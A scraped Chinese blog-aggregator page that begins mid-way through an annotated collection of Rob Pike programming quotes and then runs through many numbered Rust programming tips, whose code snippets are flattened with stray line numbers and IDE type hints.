这个观点强调了良好的数据结构设计对于编程效率和代码质量的重要性。它鼓励程序员把更多精力放在思考如何组织和表示数据上，而不是过分关注算法的技巧性。3. 面向对象设计就是计算机界的罗马数字。
Object-oriented design is the roman numerals of computing.
这是一句颇具争议性和挑衅性的话。罗马数字在数学史上曾经很重要，但现代计算中已被阿拉伯数字体系取代，因为后者更简单、更高效。这句话暗示面向对象设计（OOD）也是如此。
Pike认为，就像罗马数字对现代数学来说过于繁琐和低效一样，面向对象编程（OOP）的某些方面（如过度的类层次结构和封装）可能导致代码复杂、难以理解和维护。
这个比喻引发了编程圈内的热议。支持者认为它点出了OOP的一些问题，如过度设计和不必要的复杂性。反对者则认为OOP仍然是一个强大和有用的范式。
值得注意的是，Pike是Go语言的创始人之一，Go语言采用了一种不同于传统OOP的设计哲学，更注重简单性和数据结构。
4. 最后，我意识到光想是没什么出路的，该动手实践了。
Eventually, I decided that thinking was not getting me very far and it was time to try building.
这句话体现了一种在技术和创新领域常见的实用主义态度。
"光想没出路"是一种常见的中文表达，意思是仅靠思考而不付诸行动是难以取得进展的。
"动手实践"强调了在实践中学习和创新的重要性。在编程、创业等领域，这种"边做边学"的方法被广泛推崇。
但这并不是完全否定思考的价值。恰当的思考和规划仍然重要，只是强调不要陷入"分析瘫痪"（analysis paralysis），即过度分析导致迟迟不能行动的状态。
5. 见识短浅，想象力就会受限。
Narrowness of experience leads to narrowness of imagination.
更为甚者， 见识短浅， 反而将大师的作品视为平庸。一个讽刺性的文章： The Evolution of a Go Programmer
6. 这就是现代计算：简单的东西变得过于复杂，因为随意捣鼓太容易；复杂的东西依旧复杂，因为修复太难。
Such is modern computing: everything simple is made too complicated because it's easy to fiddle with; everything complicated stays complicated because it's hard to fix.
Rob Pike 作为一位推崇简洁设计的大师，他对当前计算机行业的复杂性提出了犀利的批评。
第一部分讽刺了一些程序员或设计师的倾向：明明有简单的解决方案，却偏爱使用复杂的技术，导致本来简单的问题变得难以理解和维护。
第二部分点出了一个现实问题：一旦系统变得复杂，就很难简化。原因可能包括兼容性问题、团队惯性、或者是简单地因为理解和重构复杂系统需要大量时间和资源。
它呼应了UNIX哲学中的一个核心原则：做好一件事。也就是说，程序应该简单、模块化，只专注于完成一个任务。
7. 过程名应该反映它做什么；函数名应该反映它返回什么。
Procedure names should reflect what they do; function names should reflect what they return
这是编程领域的一条重要命名规范，有助于提高代码的可读性和可维护性。
在中文编程圈，"过程"（procedure）和"函数"（function）的区别经常被讨论。简单来说：
- "过程"执行一系列操作，通常不返回值，重点在于"做"。
- "函数"计算并返回一个值，重点在于"得到"什么。
8. 花哨的算法在 N 小的时候很慢，而 N 通常都很小。
Fancy algorithms are slow when N is small, and N is usually small.
"N" 在算法分析中代表输入规模，如要排序的元素个数、要搜索的数据量等。"大 O 表示法"（如 O(n)、O(n²)）就是用 N 来描述算法在最坏情况下的时间复杂度。
这句话的启示：
- 不要过早优化。在数据量小的情况下，简单直白的算法可能更快、更易理解。
- 理解实际问题的规模。过度设计（用复杂算法解决小问题）可能适得其反。
= 在选择算法时，要考虑具体场景，不能只看理论复杂度。
俗语"大炮打蚊子"，就是类似的道理。有时候，简单的方法反而更有效。
9. UNIX不仅已经死了，臭的都快熏死人了。
Not only is UNIX dead, it's starting to smell really bad.
在1990年代，微软的Windows和IBM的OS/2等图形用户界面（GUI）操作系统开始流行，而基于命令行的UNIX看起来过时了。一些人认为，用户友好的GUI是未来，UNIX这样的系统已经落伍，注定会消亡。
讽刺的是，这个预言并没有完全实现：- Linux（一个UNIX类操作系统）在服务器领域占据主导地位。
- macOS基于BSD（另一个UNIX变种）。
- 甚至Windows 10也加入了Linux子系统。
这句话现在常被用来嘲笑那些过早宣布某项技术"死亡"的人。
10. 想要杜绝傻瓜行为的编程语言，往往自己也变得傻不拉几。
Languages that try to disallow idiocy become themselves idiotic.
过度限制程序员可能弊大于利：
- 好的程序员应该被信任和赋能，而不是被当成"傻瓜"对待。
- 有时，所谓的"傻瓜行为"其实是创新和效率的源泉。
- 语言应该提供工具和指导，而不是强制规定唯一的"正确"方式。
这句话也反映了一个更广的设计哲学：过度设计来防止错误，可能带来更多问题。无论是编程语言、产品设计还是管理，给予用户或团队合理的自由和信任，往往比试图规避一切风险更有效。
11、缓存不是架构，只是个优化手段而已。
Caches aren't architecture, they're just optimization.
Pike的观点是：
- 不要因为缓存效果好，就把它当成架构的一部分。
- 如果没有缓存系统就崩溃，那可能是架构有问题。
- 缓存应该是"锦上添花"，而不是"救命稻草"。
但这并不意味着缓存不重要。实际上：
- 合理使用缓存可以极大提升性能。
- 在某些场景（如高并发网站），缓存几乎是必需的。
关键是平衡：
- 先有好的架构和算法。
- 在合适的地方加缓存，但不要让系统对缓存产生依赖。
- 缓存失效或穿透时，系统应该能够"优雅降级"。
用中文的一句话概括就是："先治本，再治标"。缓存是"标"（优化性能），好的架构才是"本"。
12、没有类型层次，就不用费劲去管理类型层次了。
When there is no type hierarchy you don't have to manage the type hierarchy.
它直指面向对象编程（OOP）中一个常见的复杂性来源。"类型层次"主要指面向对象语言中的类继承结构：
"没有类型层次"并非完全否定OOP，而是指一种不同的设计风格：
- 组合优于继承：用组合（has-a）而不是继承（is-a）来复用代码。
- 接口而非基类：定义行为协议，而不是强制继承关系。
- 简单类型：类的职责单一，减少复杂的层次结构。
这种思想在Go语言中很明显：
- Go没有类和继承，但有结构体和接口。
- 结构体可以嵌入其他结构体来复用字段和方法，但不是继承。
- 接口是隐式的：只要一个类型实现了接口的所有方法，它就"是"那个接口。
13、按工程管理的规则，生产力最重要；可在工程师眼里，乐趣才是第一位。生产力源于乐趣。
Productivity is most important by engineering management rules, but enjoyment is most important for engineers. One stems from the other.
- 这里的"乐趣"不只是表面的快乐，更指：
- 解决有趣问题的满足感。
- 创造优雅代码的成就感。
- 与团队协作的归属感。
- 学习新技术的好奇心。
- 优秀的工程师往往被这些内在动机驱动，而不仅仅是外部压力。
Pike指出，高生产力实际上源于工程师的乐趣。
当工程师享受工作时，他们会：- 自发加班，因为问题太有趣了。
- 主动优化代码，因为看到丑陋的代码会不舒服。
- 积极学习，因为新技术太酷了。
这些行为自然而然地提高了生产力。
这一观点在软件行业有广泛共识：
- Google的20%时间：员工可以花20%工作时间做自己感兴趣的项目。许多重要产品（如Gmail）就是这样诞生的。虽然说现在Google已经去掉了20%工作时间的政策。
- 开源社区：大多数贡献者是因为热情而不是报酬。这种模式创造了Linux、Python等。
- 创业文化：舒适的办公环境、弹性工作制，都是为了让员工更快乐，从而更有创造力。
对管理者的启示：
- 不要只盯着KPI。创造让工程师愉悦的环境，生产力自然会提高。
- 理解并尊重工程师的动机。有时，让他们"玩"反而能得到更好的结果。
对工程师的启示：
- 追求技术乐趣并不自私。它能让你更高效，也让产品更优秀。
- 但也要有度。纯粹追求个人兴趣而忽视团队目标，同样问题。
14、第一法则：你猜不准程序会在哪里耗时。性能瓶颈总在意想不到的地方冒出来，所以别想当然去优化，除非你证实了那里就是瓶颈所在。
Rule 1. You can't tell where a program is going to spend its time. Bottlenecks occur in surprising places, so don't try to second guess and put in a speed hack until you've proven that's where the bottleneck is
"猜不准程序会在哪里耗时"：
- 程序性能不是直观的。即使是经验丰富的程序员，也常常错误预测哪部分代码最慢。
- 现代系统复杂（多线程、缓存、编译器优化等），让性能特征更难预测。
"性能瓶颈总在意想不到的地方冒出来"：
- "性能瓶颈"是限制整体性能的最慢部分。就像木桶，最短的那块板决定了水位。
- "意想不到"暗示即使是看似简单的代码，也可能因为被频繁调用或数据量大而成为瓶颈。
"别想当然去优化"：
- "想当然"在中文里就是不经证实就认定。这在性能优化中很危险。
过早优化（premature optimization）是编程界臭名昭著的反模式。它可能导致：
- 代码复杂化，难以理解和维护。
- 浪费时间在实际上不慢的部分。
- 引入新的bug或性能问题。
"除非你证实了那里就是瓶颈所在"：
- "证实"是关键。不是猜测，而是通过性能分析工具（profiler）确定。
- 现代profiler可以精确定位耗时函数、内存分配等，让优化有的放矢。
这一法则的实践：
- 先让它跑起来（Make it work）
- 然后让它对（Make it right）
- 最后才是让它快（Make it fast）
- 每一步都用数据（profile）来指导，不猜测。
14、扩展
第14条事实上来源自Robe Pike的编程五原则, 包括上面的多条名言:
- 第一法则： 你猜不准程序会在哪儿磨蹭。性能瓶颈总冒出在意想不到的地方，所以别瞎猜着去优化，除非你摸清楚了瓶颈的准确位置。
- 第二法则： 先量化。没测量之前别瞎调速度，就算测出来了，也得是哪块代码严重拖后腿了才优化。
- 第三法则： 花里胡哨的算法在数据小时龟速，而且数据往往就不大。花哨算法有大常数。除非你明摆着要处理大数据，别整那些花活。（就算真遇到大数据，也先用第二法则。）
- 第四法则： 花哨的算法比简单的更容易藏bug，而且实现起来费劲得很。算法要简单，数据结构也要简单。
- 第五法则： 数据为王。如果你选对了数据结构，组织得当，算法几乎都是呼之即来。编程的核心是数据结构，不是算法。
- Pike的第一、二法则重申了Tony Hoare的名言："过早优化是万恶之源"。 在中文里，"万恶之源"是个很重的词，用在这儿既有警示，也带点调侃。
- Ken Thompson把Pike 的第三、四法则总结为："疑难杂症，暴力破解"。 "暴力破解"在中文程序员圈很常见，指不优雅但直接有效的解法。
- 第三、四法则体现了KISS（Keep It Simple, Stupid）设计哲学。中文常说"简单就是美"，或者IT圈的"能用短裤的地方，别穿西装"。
- 第五法则早先出现在Fred Brooks的《人月神话》中。程序员们常把它简化为"写傻瓜代码，用聪明对象"。 这句话在中文圈也很流行，强调代码逻辑要直白，复杂性应该封装在良好设计的数据结构里。
15、如果POSIX线程算好东西，我都不敢想它比什么还好。
If POSIX threads are a good thing, perhaps I don't want to know what they're better than.
这是一句典型的程序员式嘲讽，直指他认为设计糟糕的一个技术标准。相当于说"它已经够糟了，居然还有比它更糟的？"
Pike为什么这么说？
- 复杂性：pthreads API被认为过于复杂和底层，容易出错。
- 死锁风险：错误使用pthreads很容易导致死锁、竞态条件等并发问题。
- 可移植性问题：尽管POSIX旨在提高可移植性，但不同系统的pthreads实现仍有差异。
16、缓存的bug，哪个不是妖魔鬼怪。
There's no such thing as a simple cache bug.
"缓存"在计算机中无处不在：CPU缓存（L1, L2, L3）、内存缓存（如Redis）、浏览器缓存、数据库查询缓存、CDN（内容分发网络）、DNS缓存等等。
Pike之所以这么说，是因为缓存bug的特点：
- 诡异性：缓存问题常常表现得不一致、间歇性，像"鬼打墙"。
- 隐蔽性：问题可能潜伏很久才暴露，像"潜伏的妖怪"。
- 牵连性：一个小小的缓存问题可能导致系统范围的故障，像"妖风四起"。
- 难调试：因为缓存常常是分布式的，跟踪问题如同"捉鬼"。
- 死灰复燃：以为修好了，问题却在高负载时死灰复燃，像"怪物再生"。
17、用 Unix 就跟只听大卫·卡西迪的歌似的，纯属乐坛井底之蛙。
Using Unix is the computing equivalent of listening only to music by David Cassidy.
Rob Pike在一次采访中说了这句话rob pike responds。
Rob Pike可是Unix的大佬级人物，和Ken Thompson、Dennis Ritchie一起在贝尔实验室创造了Unix。他怎么可能真的觉得Unix就像肤浅的流行乐？
现在的macOS（Mach内核）、Linux，甚至Windows（WSL）都有Unix的影子。
Pike仿佛预言般地讽刺："看看，大家最后都来听'大卫·卡西迪'了。"Rob Pike这句话是典型的技术人的自嘲式炫耀。表面上自贬，实际上是在用幽默的方式表达："对，我们就是主流，因为我们简单好用。学院派笑话我们Low，但最后还不是得用我们的东西？"这种自黑中带着骄傲的调调。
18、"智能"终端可不是"自作聪明"的终端，而是你能调教的好帮手。
A smart terminal is not a smartass terminal, but rather a terminal you can educate.
Rob Pike这句话用带点烟火气的方式，点出了技术设计的一个关键：真正的"智能"不是自作聪明，而是在交互中学习和成长。就像中国老话说的，"学而不舍，才能化茧成蝶"。无论是终端还是人，都是这个道理。
19、Socket 是 IO 接口的 X Window。
Sockets are the X windows of IO interfaces.
表面上是在夸 Socket，就像当年吹捧 X Window 一样，实际上是 Pike 式的反话，意思是："Socket 复杂、难用，就跟 X Window 一样令人头疼。"
为什么 Pike 这么黑 Socket？
- 复杂性：Socket API 有很多参数、选项和状态，容易用错。
- 底层性：直接操作网络协议，程序员要处理字节流、缓冲区等底层细节。
- 错误处理难：网络环境复杂，Socket 编程中的错误情况多，很难全面处理。
- 跨平台坑多：不同操作系统的 Socket 实现有微妙差异，写出跨平台代码很烦。
20、搞个理论上不那么刺激的编程语言干嘛？因为好用啊，能用才是王道。
Why would you have a language that is not theoretically exciting? Because it's very useful.
这话当然还是出自Rob Pike。作为Unix和Go语言之父，他一贯秉持"实用主义者"的态度。
学院派追求"道"（理论和原则）。Pike强调"术"（实用技巧和方法）。
21、并发不是并行
Concurrency is not parallelism
22、 Go语言 箴言
Go Proverbs
- 博客 涛叔 2024-06-10 00:00:00300
- 博客 61's life 2024-06-09 23:58:39301
- 博客 卢昌海的个人主页 2024-06-09 20:10:00站长在 YouTube 频道发布的视频
- 博客 鸟窝 2024-06-09 11:36:28
- 博客 鸟窝 2024-06-09 11:36:19
Tip #61
前几天有人问我关于智能指针的事。这里简单介绍一下
Rc<T>智能指针的基础知识：
Tip #62
这是一篇关于 Rust 中的错误处理以及如何应用
anyhow库的精彩文章：https://antoinerr.github.io/blog-website/2023/01/28/rust-anyhow.html
Tip #63
刚开始学习 Rust 编程时，我惊讶地发现示例中从未见过任何原始指针。常见的都是
Box<>(),Arc<>()等智能指针。事实上，原始指针确实存在，但在惯用的 Rust 代码中很少使用。深入了解后，这里提供一个 C 语言与 Rust 原始指针的并排对比：
Tip #64
今天我学到了关于
NonZero数值类型的知识，你可以确保在编译时数值不会为零。它也是一个真正的零成本抽象，因为如果你定义了例如Option<NonZeroU8>，那么 "0" 值就会映射到 "None"。非常巧妙！这里有个例子：
Tip #65
这里有一篇由 @ThePrimeagen 撰写的有益论述，列举了 Rust 中枚举（Enums）的优势：
RUST Enums ARE Better (youtube.com)Tip #66
std::time::Instant可以作为一种简便方式用于测量代码块的执行时间：12345678910use std::time::Instant;fn main() {let start = Instant::now();// Your code herelet duration = start.elapsed();println!("Time elapsed: {:?}", duration);}Tip #67
单元结构体（Unit Struct）和元组结构体（Tuple Struct）是 Rust 类型系统中实用但不太为人知的构造体。
- 单元结构体：可以在类型层面表示一个概念，同时也是在无需数据的情况下实现trait的好帮手。
- 元组结构体：类似于元组，但能实现方法。
123456struct Unit;struct Point(i32, i32, i32);let a = Point(1, 2, 3);println!("Point Value: ({}, {}, {})", a.0, a.1, a.2);Tip #68
今天我发现可以在Trait中定义 #常量，而且在trait的具体实现（impl）中也可以重定义这些值。我还在权衡这样做的利弊。你会如何利用这个特性呢？分享你的想法吧！
1234567891011trait MathConstants {const PI: f64;const E: f64;}struct MyMath;impl MathConstants for MyMath {const PI: f64 = 3.141592653589;const E: f64 = 2.718281828459;}Tip #69
如果你遇到嵌套的
Option情况，比如Option<Option<T>>，你可以使用.flatten()方法去除一层嵌套:123456fn main() {let x: Option<Option<i32>> = Some(Some(42));let y: Option<i32> = x.flatten();println!("{:?}", y); // 输出: Some(42)}Tip #70
这条在
match语句中使用的神秘语法特性是由一位关注者向我推荐的：var_name @ match_value => ...允许你在匹配块中捕获match_value的值来使用。下面的代码示例应该能清晰地说明这是如何运作的：123456789101112131415let number: i32 = 42;match number {1..=10 => {println!("Number is between 1 and 10 (inclusive)");}n: i32 @ 42 => {println!("Number is {}", n);}n: i32 @ 43..=100 => {println!("Number is between 43 and 100 (inclusive): {}", n);}_ => {println!("Number is not in any specified range");}}Tip #71
Rust 支持与 C 兼容的联合（union）类型。由于联合的成员共享相同的内存，它们本质上是不安全的。我能想到的最佳应用场景是与 C++ 交互，以及可能的二进制数据协议，比如将字节数组与其他类型联合在一起使用。
12345678910111213141516// Repr C makes the memory layout conform to C's schema.#[repr(C)]union MyUnion {f1: u32,f2: f32,}fn main() {let mut u = MyUnion { f1: 1 };unsafe {// Accessing a union's field is unsafe because Rust cannot guarantee// the type of data currently being stored in the union.u.f1 = 123;println!("f1: {}", u.f1);}}Tip #72
Rust 的数值类型真棒！你可以直接使用点符号表示法在数值上调用常见的数学函数。例如，只需通过调用
32.0.sin()就能计算32.0的正弦值。这一特性增强了代码的可读性，减少了对冗长函数调用的需求。1234fn main() {let x = 32.0;println!("Sin of {} is: {}", x, x.sin());}Tip #73
include_str!()和include_bytes!()宏能够在编译时将文件作为字符串或字节数组包含进来。这样就避免了使用冗长且杂乱的多行字符串字面量。编译器甚至会检查文件是否存在，如果文件缺失，还会报错提示。12345678// Both of these files are read at compile time.const FILE_STR: &str = include_str!("./path/to/the/file.txt");const FILE_BYTES: &[u8] = include_bytes!("./path/to/image.png");fn main() {// Outputs file content as string.println!("{}", FILE_STR);}Tip #74
Rust 中迭代器的
.zip()函数能够让两个 Vec 转换成单一的元组 Vec。然而，其语法不如 Python 版本那样方便。但这个问题可以通过优雅地使用泛型来解决：12345678910111213fn zip<T, U>(vec1: Vec<T>, vec2: Vec<U>) -> Vec<(T, U)> {vec1.into_iter().zip(vec2.into_iter()).collect()}fn main() {let vec1: Vec<i32> = vec![1, 2, 3];let vec2: Vec<char> = vec!['a', 'b', 'c'];let zipped: Vec<(i32, char)> = zip(vec1, vec2);for pair: (i32, char) in zipped {println!("{:?}", pair);}}Tip 插播一条
标签通常与嵌套循环关联在一起使用。
在下面的例子中，我使用了break 'outer从内部循环跳出到外层循环之外。但实际上，它们的功能远不止于此：你可以在 任何 Rust 代码块上标注一个标签！
这开启了一个不错的编程模式，如下所示：12345678910fn do_something() {'outer: for x in [0, 1, 2] {for y in [3, 4, 5] {// This breaks from the inner loop.break;// This breaks from the outer loop!break 'outer;}}}或者
12345678'block: {let Some(b) = a else { break 'block };let Some(c) = b.c else { break 'block };let Some(d) = c.d else { break 'block };let Some(e) = d.e else { break 'block };return e.compute();}otherwise();Tip #75
标有 Send 标记 trait的类型表示它们在多个线程之间移动是安全的。Rust 利用这一点来确保在编译时的线程安全性。
虽然编译器会自动为许多标准类型实现 Send，但对于自定义类型，我们依靠开发者——Send 是通过不安全代码块添加的：
123struct MyType;unsafe impl Send for MyType {}Tip #76
快速入门：如何在你的 Rust 代码上运行调试器：
➡️ 使用调试符号构建：
1cargo build➡️ 使用 lldb（或更美观输出的 rust-lldb）启动你的程序：
1lldb target/debug/your_app_name➡️ 在特定行设置断点：
1breakpoint set --file src/main.rs --line 10➡️ 通过名称设置函数断点：
1breakpoint set --name your_function_name➡️ 运行你的程序
1run➡️ 运行时的调试命令
frame variable会显示当前作用域内的所有变量n执行当前行然后暂停s进入当前行（调用最内层函数并停止）c继续执行直到下一个断点
Tip #77
Threads: working together. for CPU bound tasks.Async: waiting together. for I/O bound tasks.
Tip #78
这里有一个很好的介绍文章，介绍如何从你的 Rust 代码中调用外部进程，并处理输出。
https://rust-lang-nursery.github.io/rust-cookbook/os/external.html
Tip #79
作为函数输入参数使用
&Option<T>还是Option<&T>？通常，
Option<&T>是首选的方式，因为它提供了更多的灵活性转换，并利用了空指针优化（pointer niche optimization）。这意味着它可以自然地接受None（空值）或&T（对某个值的引用），并且在内部实现上更为高效，特别是当与 Rust 的零值优化特性结合时。argument arg type : Option<&T> &Option foo: Option foo.as_ref() &foo foo: Option<&T> foo can't be done foo: T Some(&foo) &Some(foo)† foo: &T Some(foo) can't be done 一个专门掰扯这个话题的帖视频：https://www.youtube.com/watch?v=6c7pZYP_iIE
Tip #80
我需要编写一个函数，能够灵活地在编译时定义输出数组的大小。事实证明，const 泛型对此非常有帮助。
"Const 泛型"使我们能够通过常量对类型进行参数化，因此得名。
这种特性允许你在定义泛型时使用编译时常量来指定类型的一部分，比如数组长度或结构体中的字段大小，从而在编译时就能确定这些值，而非运行时。这样可以提高代码效率，同时也增加了类型的灵活性和代码的重用性。
123456789101112131415fn n_neighborhood<const N: usize>(tree: &Octree,coord: [f64; 3],radius: f64) -> [f32; N] {let res = [f32; N];// TODO: Find N neighbors in Octree.res}fn main() {const SRCH_N: usize = 4;// Result is of type [f32; 4]let result = n_neighborhood::<SRCH_N>(&tree, coord);} - 博客 鸟窝 2024-06-09 11:36:11
Tip #41
类似于 Go 语言中的通道（Go 的
channel），Rust 中的std::sync::mpsc提供了一种线程间安全地读写数据的机制:1234567891011121314use std::sync::mpsc;use std::thread;fn main() {let (tx, rx) = mpsc::channel();thread::spawn(move || {let val = String::from("hi");tx.send(val).unwrap();});let received = rx.recv().unwrap();println!("Got: {}", received);}在这个例子中，我们创建了一个通道，然后在一个线程中发送了一个字符串。在主线程中，我们等待接收这个字符串并打印它。
Tip #42
希望在编码过程中，让编译器和代码检查工具实时地指出并协助解决出现的问题吗？
不妨试试Bacon
Tip #43
除了标准库中的
std::HashMap，Rust 还为特定场景提供了其他哈希表变体：IndexMap（indexmap库）：保持键的插入顺序。BTreeMap（位于std::collections）：按照键的排序顺序维护元素。DashMap（dashmap库）：无锁并发散列映射，适用于并发或多线程代码。
Tip #44
使用 actix_web 的 Rust 网页服务器，具备静态文件服务功能，并默认将请求路由到
index.html。几乎和 JavaScript 一样简单,对吗？Tip #45
对于想要极度优化代码的你们，这里有一个有趣的小知识：
std::hint允许你告诉编译器某个布尔表达式很可能是真的，从而启用优化的分支预测：12345678910use std::hint::likely;fn main() {let x = 42;if likely(x > 0) {println!("x is positive");} else {println!("x is not positive");}}Tip #46
你是否曾被 PartialEq 和 Eq 这两个 #trait搞晕过？这里有一个快速概览：
PartialEq：通过eq方法实现（不要与Eq混淆！），它启用了相等性（==）检查。如果项目不可比较，则eq返回false。Eq：一个没有自己方法的“标记Trait”。它告诉编译器所有元素都可以进行等价比较，并确保等价关系是自反的、对称的和传递的。
Tip #47
一些避免使用可怕的
clone()方法的策略包括：- 向只读函数传递借用（
&）时使用引用 - 利用
Rc<T>或Arc<T>来共享所有权 - 实现
Copy特性（类似 C 语言中的 memcpy） - 使用
Cow<T>（写时复制）来半自动管理复制过程
Tip #48
Rust 在处理线程和读取它们的返回值方面真正大放异彩的一个例子是，这看起来比许多其他语言做起来要简单得多。下面是一个处理两个线程结果的简单示例：
1234567891011use std::thread;fn main() {let handle1 = thread::spawn(|| 1);let handle2 = thread::spawn(|| 2);let result1 = handle1.join().unwrap();let result2 = handle2.join().unwrap();println!("Result: {}", result1 + result2);}Tip #49
使用
Rayon库对 for 循环进行简单并行化，只需添加导入并使用Rayon提供的.par_iter()并行迭代器。该代码用于统计大于0的元素。预期的加速效果大约为 X 倍，其中 X 代表你拥有的 CPU 核心数量：
1234567use rayon::prelude::*;fn main() {let numbers = vec![1, 2, 3, 4, 5, 6, 7, 8, 9, 10];let count = numbers.par_iter().filter(|&x| x > 0).count();println!("Count: {}", count);}Tip #50
如果你正在调试你的迭代器，并且只想测试数据的一个子集，你可以使用
myvec.iter().take(N)来仅对前 N 个元素进行操作。或者，你也可以对输入进行切片：
&myvec[0..N].iter()Tip #51
在迭代器中对一列可选值（
Option）使用map()感到棘手？filter_map()巧妙地处理了这个问题，它会忽略None值，只处理Some()值：12345fn main() {let numbers = vec![Some(1), None, Some(3), None, Some(5)];let sum: i32 = numbers.iter().filter_map(|&x| x).sum();println!("Sum: {}", sum);}Tip #52
Fn、FnMut和FnOnce分别是什么？这些是用于将闭包作为函数参数传递的特殊trait。Fn：不修改环境的闭包FnMut：可以修改环境FnOnce：运行一次并消耗环境
这里有一个展示
FnMuttrait实际运用的例子：123456fn main() {let mut x = 5;let mut add = |y| x += y;add(5);println!("x: {}", x); // 输出: x: 10}Tip #53
继续探讨“核心”或“系统” trait的主题，
Droptrait非常有趣：任何超出作用域的数据类型都会自动调用Drop()。因此，如果你实现了Drop()，就可以在需要时执行自定义的清理操作。Tip #54
在使用异步 Rust 开发时，如果需要执行两个（不相关）任务，你可以使用来自
futures#库的join!宏并行地调度它们。相比于依次调用.await，这样做可以更高效：123456789101112131415use futures::join;async fn task1() -> u32 {42}async fn task2() -> u32 {24}#[tokio::main]async fn main() {let (result1, result2) = join!(task1(), task2());println!("Result: {}", result1 + result2);}Tip #55
我深入探索了 Rust 中声明式宏的世界。第一步是要理解基本语法……这确实很难用文字描述，所以我制作了一张（希望是有教育意义的）图片，涵盖了基础知识：
Tip #56
在上一条的宏话题基础上，今天我探讨了10个匹配器加上上次帖子中遗漏的 "ident" 匹配器。来看看这张展示了每个匹配器的示例的网格图吧：
Tip #57
在 Rust 中，你可以实现在三个主要位置编写测试：
- 作为文档的一部分（doctest）
- 代码下方的嵌入式测试（#[cfg(test)]属性包裹）
- 外部的测试文件夹中
👉 通过执行 "cargo test" 来运行测试
Tip #58
Rust 的类型系统允许我们定义“标记类型”，这些可以仅仅是带有名字的结构体，用来为特定类型编码元数据。以下是一个使用标记结构体示例，表示一个文档结构体可以处于 "草稿" 或 "已发布" 状态：
12345678910111213141516171819202122232425262728293031323334// Marker structs representing statesstruct Draft;struct Published;// The Document struct, parameterized by its statestruct Document<State> {content: String,_state: std::marker::PhantomData<State>,}impl Document<Draft> {// Constructor for a new draft documentfn new(content: String) -> Document<Draft> {Document {content,_state: std::marker::PhantomData,}}// Review the documentfn review(self) -> Document<Published> {Document {content: self.content,_state: std::marker::PhantomData,}}}impl Document<Published> {// Publish the documentfn publish(self) {println!("Publishing document: {}", self.content);}}Tip #59
我遇到了几次尝试实现一个扩展trait但编译器不允许的情况。事实证明，有两个规则需要注意：
- 如果trait是在你的crate中定义的，你可以为任何类型实现扩展，即使是其他crate中的类型。
- 如果trait是在另一个crate中定义的，你只能为你crate中定义的类型实现它。
扩展trait基本上允许基于trait定义，向一个类型添加新的功能。
Tip #60
当你在结构体上 #派生
Debugtrait时，你会得到两种用于println!的格式化方式：{:?}默认的调试格式化器{:#?}“美化打印”的调试格式化器
这两种输出的视觉差异是什么？让我们来看一下：
- 博客 西秦公子 2024-06-09 00:07:40这个分享是我在 2024 年 5 月份的飞书 AI 训练营的分享，我觉得这个 PPT 的内容可以完美的诠释我对于 Hackathon 的态度，所以除了视频，我将文字稿也完整的撰写出来，希望让这篇文章对 Hackathon 感兴趣的你，能够有些帮助。
- 博客 鸟窝 2024-06-08 18:51:42
Tip #21
在 Rust 中，我们经常使用
Clone()或Copy()。这两者之间的区别是什么？Copy：支持Copy的类型可以安全地通过字节复制的方式进行复制，可以类比 C 语言中的memcpy函数。Clone：支持Clone的类型也可以被复制，但它通常需要执行一些逻辑操作来完成深拷贝。
Tip #22
我之前忽略的一点是，Rust 中有
static变量，可以用来追踪某些状态。当然， 可变的静态变量 （mutable static）是不支持的，但对于原始类型，可以考虑使用std::sync::atomic。这些可以被实例化为静态的，并且在后续可以被修改：12345678910static COUNTER: AtomicUsize = AtomicUsize::new(0);// Functions to get and increment *static* counter.fn increment_counter() {COUNTER.fetch_add(1, order: Ordering::Relaxed);}fn get_counter() -> usize {COUNTER.load(order: Ordering::Relaxed)}Tip #23
对于大多数使用核心数据类型的结构体，你可以通过派生
Defaulttrait自动生成一个基本的Default()实现：12[derive(Default)]struct MyStruct { ... }Tip #24
探索智能指针：
Box<T>用于独占所有权，一旦它所在的作用域{}结束，它就会被释放。Rc<T>是一种引用计数的智能指针。只有当它的所有引用都不存在时，它才会被释放。Arc<T>是Rc<T>的线程安全版本。
Tip #25
在Rust中，trait的工作方式类似于其他语言中的接口定义。实现某个trait的结构体或枚举，在契约上必须提供trait中指定签名的函数 :
12345678910111213141516// Define a trait `Describable`trait Describable {fn describe(&self) -> String;}struct Person {name: String,age: u32,}// Implement the `Describable` trait for `Person`impl Describable for Person {fn describe(&self) -> String {format!("{} is {} years old.", self.name, self.age)}}Tip #26
你知道Rust支持对大多数常见数据类型进行解构吗？这里有一个关于结构体的例子：
1234567891011struct Rocket {name: String,num_engines: u32,}let falcon9: Rocket = Rocket{name: "Falcon 9".to_string(), num_engines: 9};// Destructure name and engineslet Rocket {name: the_name: String, num_engines: the_engines: u32} = falcon9;println!("Rocket name {}, num engines {}", the_name, the_engines);这种解构方式允许你在一行中从结构体中提取多个字段，并给它们起新的名字或指定类型，这在处理复杂数据时非常有用。
Tip #27
Rust #区间表达式：
- 包含区间（包含a到b，b也包括在内）：
a..=b - 半开区间（包含a到b-1）：
a..b - 从a开始：
a.. - 到b-1为止：
..b - 到b为止（包括b）：
..=b - 完整区间：
..
Tip #28
区间表达式(继续)：
区间表达式可以应用于for循环，或用于创建迭代器。别忘了调用collect()来实际执行迭代器：1234567891011let mut squares_a: Vec<u32> = vec![];for i: u32 in 1..=100 {squares_a.push(i * i);}// Map creates an iterator, but does not perform the computation.let squares_b_it: impl Iterator<Item = u32> = (1..=100).map(|x: u32| x * x);// Apply collect to "run" the iterator.let squares_b: Vec<u32> = (1..=100).map(|x: u32| x * x).collect();Tip #29
迭代器可以通过
chain()方法进行连续拼接。Rust 在处理可能含有或不含值的Option类型的连续操作时表现得尤为优雅。1234567let maybe_rocket = Some("Starship");let rockets = vec!["falcon1", "falcon2"];// Chain the two iterators together.for i in rockets.iter().chain(maybe_rocket) {println!("🚀 {}", i);}Tip #30
如果需要以非可变方式将向量（
vector）传递给函数，你可以使用&[T]（等同于&Vec<T>）类型的参数，这也就是所谓的切片（slice）。切片的优势包括：它们避免了所有权的转移，并且对于 #并发或 #并行操作是安全的。
Tip #31
动态调度（
dynamic dispatch）简单来说，是在程序运行时动态地处理不同类型的特性，通过一个公共的特质（trait）来实现，从而使得（具有 Rust 特色的）多态成为可能。在 Rust 中，
Box<dyn Trait>通常表明使用了动态调度。Tip #32
迭代器提供了一些非常方便的实用功能。其中之一是
all()方法，它会检查迭代器中所有元素是否都满足给定的条件。这使我们能够以优雅且符合习惯用法的方式重写难看的基于for循环的代码:
